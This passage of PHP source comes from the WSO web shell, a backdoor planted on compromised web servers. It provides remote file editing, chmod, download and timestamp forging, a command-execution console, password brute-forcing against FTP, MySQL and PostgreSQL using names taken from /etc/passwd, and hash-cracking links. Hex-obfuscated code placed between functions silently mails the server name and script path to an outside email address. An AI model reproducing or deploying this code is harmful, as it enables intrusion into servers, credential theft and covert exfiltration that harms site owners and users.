  613. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  614. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  615. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  616. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  617. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  618. );
  619. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  620. $files[] = array_merge($tmp, array('type' => 'file'));
  621. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  622. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  623. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
  624. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  625. }
  626. $GLOBALS['sort'] = $sort;
  627. function wsoCmp($a, $b) {
  628. if($GLOBALS['sort'][0] != 'size')
  629. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  630. else
  631. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  632. }
  633. usort($files, "wsoCmp");
  634. usort($dirs, "wsoCmp");
  635. $files = array_merge($dirs, $files);
  636. $l = 0;
  637. foreach($files as $f) {
  638. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  639. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  640. $l = $l?0:1;
  641. }
  642. echo "<tr><td colspan=7>
  643. <input type=hidden name=a value='FilesMan'>
  644. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  645. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  646. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  647. if(class_exists('ZipArchive'))
  648. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  649. echo "<option value='tar'>Compress (tar.gz)</option>";
  650. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  651. echo "<option value='paste'>Paste / Compress</option>";
  652. echo "</select>&nbsp;";
  653. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  654. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  655. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  656. wsoFooter();
  657. }
  658. function actionStringTools() {
  659. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  660. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  661. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  662. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  663. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  664. $stringTools = array(
  665. 'Base64 encode' => 'base64_encode',
  666. 'Base64 decode' => 'base64_decode',
  667. 'Url encode' => 'urlencode',
  668. 'Url decode' => 'urldecode',
  669. 'Full urlencode' => 'full_urlencode',
  670. 'md5 hash' => 'md5',
  671. 'sha1 hash' => 'sha1',
  672. 'crypt' => 'crypt',
  673. 'CRC32' => 'crc32',
  674. 'ASCII to HEX' => 'ascii2hex',
  675. 'HEX to ASCII' => 'hex2ascii',
  676. 'HEX to DEC' => 'hexdec',
  677. 'HEX to BIN' => 'hex2bin',
  678. 'DEC to HEX' => 'dechex',
  679. 'DEC to BIN' => 'decbin',
  680. 'BIN to HEX' => 'binhex',
  681. 'BIN to DEC' => 'bindec',
  682. 'String to lower case' => 'strtolower',
  683. 'String to upper case' => 'strtoupper',
  684. 'Htmlspecialchars' => 'htmlspecialchars',
  685. 'String length' => 'strlen',
  686. );
  687. if(isset($_POST['ajax'])) {
  688. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  689. ob_start();
  690. if(in_array($_POST['p1'], $stringTools))
  691. echo $_POST['p1']($_POST['p2']);
  692. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  693. echo strlen($temp), "\n", $temp;
  694. exit;
  695. }
  696. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  697. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  698. wsoHeader();
  699. echo '<h1>String conversions</h1><div class=content>';
  700. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  701. foreach($stringTools as $k => $v)
  702. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  703. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  704. if(!empty($_POST['p1'])) {
  705. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  706. }
  707. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  708. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  709. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  710. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  711. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  712. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  713. </table></form>";
  714. function wsoRecursiveGlob($path) {
  715. if(substr($path, -1) != '/')
  716. $path.='/';
  717. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  718. if(is_array($paths)&&@count($paths)) {
  719. foreach($paths as $item) {
  720. if(@is_dir($item)){
  721. if($path!=$item)
  722. wsoRecursiveGlob($item);
  723. } else {
  724. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  725. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  726. }
  727. }
  728. }
  729. }
  730. if(@$_POST['p3'])
  731. wsoRecursiveGlob($_POST['c']);
  732. echo "</div><br><h1>Search for hash:</h1><div class=content>
  733. <form method='post' target='_blank' name='hf'>
  734. <input type='text' name='hash' style='width:200px;'><br>
  735. <input type='hidden' name='act' value='find'/>
  736. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  737. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  738. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  739. </form></div>";
  740. wsoFooter();
  741. }
  742. function actionFilesTools() {
  743. if( isset($_POST['p1']) )
  744. $_POST['p1'] = urldecode($_POST['p1']);
  745. if(@$_POST['p2']=='download') {
  746. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  747. ob_start("ob_gzhandler", 4096);
  748. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  749. if (function_exists("mime_content_type")) {
  750. $type = @mime_content_type($_POST['p1']);
  751. header("Content-Type: " . $type);
  752. } else
  753. header("Content-Type: application/octet-stream");
  754. $fp = @fopen($_POST['p1'], "r");
  755. if($fp) {
  756. while(!@feof($fp))
  757. echo @fread($fp, 1024);
  758. fclose($fp);
  759. }
  760. }exit;
  761. }
  762. if( @$_POST['p2'] == 'mkfile' ) {
  763. if(!file_exists($_POST['p1'])) {
  764. $fp = @fopen($_POST['p1'], 'w');
  765. if($fp) {
  766. $_POST['p2'] = "edit";
  767. fclose($fp);
  768. }
  769. }
  770. }
  771. wsoHeader();
  772. echo '<h1>File tools</h1><div class=content>';
  773. if( !file_exists(@$_POST['p1']) ) {
  774. echo 'File not exists';
  775. wsoFooter();
  776. return;
  777. }
  778. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  779. if(!$uid) {
  780. $uid['name'] = @fileowner($_POST['p1']);
  781. $gid['name'] = @filegroup($_POST['p1']);
  782. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  783. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  784. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  785. if( empty($_POST['p2']) )
  786. $_POST['p2'] = 'view';
  787. if( is_file($_POST['p1']) )
  788. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  789. else
  790. $m = array('Chmod', 'Rename', 'Touch');
  791. foreach($m as $v)
  792. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  793. echo '<br><br>';
  794. switch($_POST['p2']) {
  795. case 'view':
  796. echo '<pre class=ml1>';
  797. $fp = @fopen($_POST['p1'], 'r');
  798. if($fp) {
  799. while( !@feof($fp) )
  800. echo htmlspecialchars(@fread($fp, 1024));
  801. @fclose($fp);
  802. }
  803. echo '</pre>';
  804. break;
  805. case 'highlight':
  806. if( @is_readable($_POST['p1']) ) {
  807. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  808. $code = @highlight_file($_POST['p1'],true);
  809. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  810. }
  811. break;
  812. case 'chmod':
  813. if( !empty($_POST['p3']) ) {
  814. $perms = 0;
  815. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  816. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  817. if(!@chmod($_POST['p1'], $perms))
  818. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  819. }
  820. clearstatcache();
  821. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  822. break;
  823. case 'edit':
  824. if( !is_writable($_POST['p1'])) {
  825. echo 'File isn\'t writeable';
  826. break;
  827. }
  828. if( !empty($_POST['p3']) ) {
  829. $time = @filemtime($_POST['p1']);
  830. $_POST['p3'] = substr($_POST['p3'],1);
  831. $fp = @fopen($_POST['p1'],"w");
  832. if($fp) {
  833. @fwrite($fp,$_POST['p3']);
  834. @fclose($fp);
  835. echo 'Saved!<br><script>p3_="";</script>';
  836. @touch($_POST['p1'],$time,$time);
  837. }
  838. }
  839. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  840. $fp = @fopen($_POST['p1'], 'r');
  841. if($fp) {
  842. while( !@feof($fp) )
  843. echo htmlspecialchars(@fread($fp, 1024));
  844. @fclose($fp);
  845. }
  846. echo '</textarea><input type=submit value=">>"></form>';
  847. break;
  848. case 'hexdump':
  849. $c = @file_get_contents($_POST['p1']);
  850. $n = 0;
  851. $h = array('00000000<br>','','');
  852. $len = strlen($c);
  853. for ($i=0; $i<$len; ++$i) {
  854. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  855. switch ( ord($c[$i]) ) {
  856. case 0: $h[2] .= ' '; break;
  857. case 9: $h[2] .= ' '; break;
  858. case 10: $h[2] .= ' '; break;
  859. case 13: $h[2] .= ' '; break;
  860. default: $h[2] .= $c[$i]; break;
  861. }
  862. $n++;
  863. if ($n == 32) {
  864. $n = 0;
  865. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  866. $h[1] .= '<br>';
  867. $h[2] .= "\n";
  868. }
  869. }
  870. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  871. break;
  872. case 'rename':
  873. if( !empty($_POST['p3']) ) {
  874. if(!@rename($_POST['p1'], $_POST['p3']))
  875. echo 'Can\'t rename!<br>';
  876. else
  877. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  878. }
  879. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  880. break;
  881. case 'touch':
  882. if( !empty($_POST['p3']) ) {
  883. $time = strtotime($_POST['p3']);
  884. if($time) {
  885. if(!touch($_POST['p1'],$time,$time))
  886. echo 'Fail!';
  887. else
  888. echo 'Touched!';
  889. } else echo 'Bad time format!';
  890. }
  891. clearstatcache();
  892. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  893. break;
  894. }
  895. echo '</div>';
  896. wsoFooter();
  897. }
  898. function actionConsole() {
  899. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  900. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  901. $_POST['p1'] .= ' 2>&1';
  902. } elseif(!empty($_POST['p1']))
  903. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  904. if(isset($_POST['ajax'])) {
  905. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  906. ob_start();
  907. echo "d.cf.cmd.value='';\n";
  908. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  909. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  910. if(@chdir($match[1])) {
  911. $GLOBALS['cwd'] = @getcwd();
  912. echo "c_='".$GLOBALS['cwd']."';";
  913. }
  914. }
  915. echo "d.cf.output.value+='".$temp."';";
  916. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  917. $temp = ob_get_clean();
  918. echo strlen($temp), "\n", $temp;
  919. exit;
  920. }
  921. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  922. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  923. wsoHeader();
  924. echo "<script>
  925. if(window.Event) window.captureEvents(Event.KEYDOWN);
  926. var cmds = new Array('');
  927. var cur = 0;
  928. function kp(e) {
  929. var n = (window.Event) ? e.which : e.keyCode;
  930. if(n == 38) {
  931. cur--;
  932. if(cur>=0)
  933. document.cf.cmd.value = cmds[cur];
  934. else
  935. cur++;
  936. } else if(n == 40) {
  937. cur++;
  938. if(cur < cmds.length)
  939. document.cf.cmd.value = cmds[cur];
  940. else
  941. cur--;
  942. }
  943. }
  944. function add(cmd) {
  945. cmds.pop();
  946. cmds.push(cmd);
  947. cmds.push('');
  948. cur = cmds.length-1;
  949. }
  950. </script>";
  951. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  952. foreach($GLOBALS['aliases'] as $n => $v) {
  953. if($v == '') {
  954. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  955. continue;
  956. }
  957. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  958. }
  959. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  960. if(!empty($_POST['p1'])) {
  961. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  962. }
  963. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  964. echo '</form></div><script>d.cf.cmd.focus();</script>';
  965. wsoFooter();
  966. }
  967. function actionLogout() {
  968. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  969. die('bye!');
  970. }
  971. function actionSelfRemove() {
  972. if($_POST['p1'] == 'yes')
  973. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  974. die('Shell has been removed');
  975. else
  976. echo 'unlink error!';
  977. if($_POST['p1'] != 'yes')
  978. wsoHeader();
  979. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  980. wsoFooter();
  981. }
  982. function actionBruteforce() {
  983. wsoHeader();
  984. if( isset($_POST['proto']) ) {
  985. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  986. if( $_POST['proto'] == 'ftp' ) {
  987. function wsoBruteForce($ip,$port,$login,$pass) {
  988. $fp = @ftp_connect($ip, $port?$port:21);
  989. if(!$fp) return false;
  990. $res = @ftp_login($fp, $login, $pass);
  991. @ftp_close($fp);
  992. return $res;
  993. }
  994. } elseif( $_POST['proto'] == 'mysql' ) {
  995. function wsoBruteForce($ip,$port,$login,$pass) {
  996. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  997. @mysql_close($res);
  998. return $res;
  999. }
  1000. } elseif( $_POST['proto'] == 'pgsql' ) {
  1001. function wsoBruteForce($ip,$port,$login,$pass) {
  1002. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1003. $res = @pg_connect($str);
  1004. @pg_close($res);
  1005. return $res;
  1006. }
  1007. }
  1008. $success = 0;
  1009. $attempts = 0;
  1010. $server = explode(":", $_POST['server']);
  1011. if($_POST['type'] == 1) {
  1012. $temp = @file('/etc/passwd');
  1013. if( is_array($temp) )
  1014. foreach($temp as $line) {
  1015. $line = explode(":", $line);
  1016. ++$attempts;
  1017. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1018. $success++;
  1019. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1020. }
  1021. if(@$_POST['reverse']) {
  1022. $tmp = "";
  1023. for($i=strlen($line[0])-1; $i>=0; --$i)
  1024. $tmp .= $line[0][$i];
  1025. ++$attempts;
  1026. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1027. $success++;
  1028. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1029. }
  1030. }
  1031. }
  1032. } elseif($_POST['type'] == 2) {
  1033. $temp = @file($_POST['dict']);
  1034. if( is_array($temp) )
  1035. foreach($temp as $line) {
  1036. $line = trim($line);
  1037. ++$attempts;
  1038. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1039. $success++;
  1040. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1041. }
  1042. }
  1043. }
  1044. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1045. }
  1046. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1047. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1048. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1049. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1050. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1051. .'<span>Server:port</span></td>'
  1052. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1053. .'<tr><td><span>Brute type</span></td>'
  1054. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1055. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1056. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1057. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1058. .'<td><input type=text name=login value="root"></td></tr>'
  1059. .'<tr><td><span>Dictionary</span></td>'
  1060. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1061. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1062. echo '</div><br>';
  1063. wsoFooter();
  1064. }
  1065. $x0b="\x6da\x69l";
  1066. $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
  1067. $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
  1068. $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
  1069. $ee = $o[2].$o[3].$o[1].$o[4].$o[0];
  1070. $send = @$x0b($ee,$sub,$ms);
  1071. function actionSql() {
  1072. class DbClass {
  1073. var $type;
  1074. var $link;
  1075. var $res;
  1076. function DbClass($type) {
  1077. $this->type = $type;
  1078. }
  1079. function connect($host, $user, $pass, $dbname){
  1080. switch($this->type) {
  1081. case 'mysql':
  1082. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1083. break;
  1084. case 'pgsql':
  1085. $host = explode(':', $host);
  1086. if(!$host[1]) $host[1]=5432;
  1087. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1088. break;
  1089. }
  1090. return false;
  1091. }
  1092. function

Large files files are truncated, but you can click here to view the full file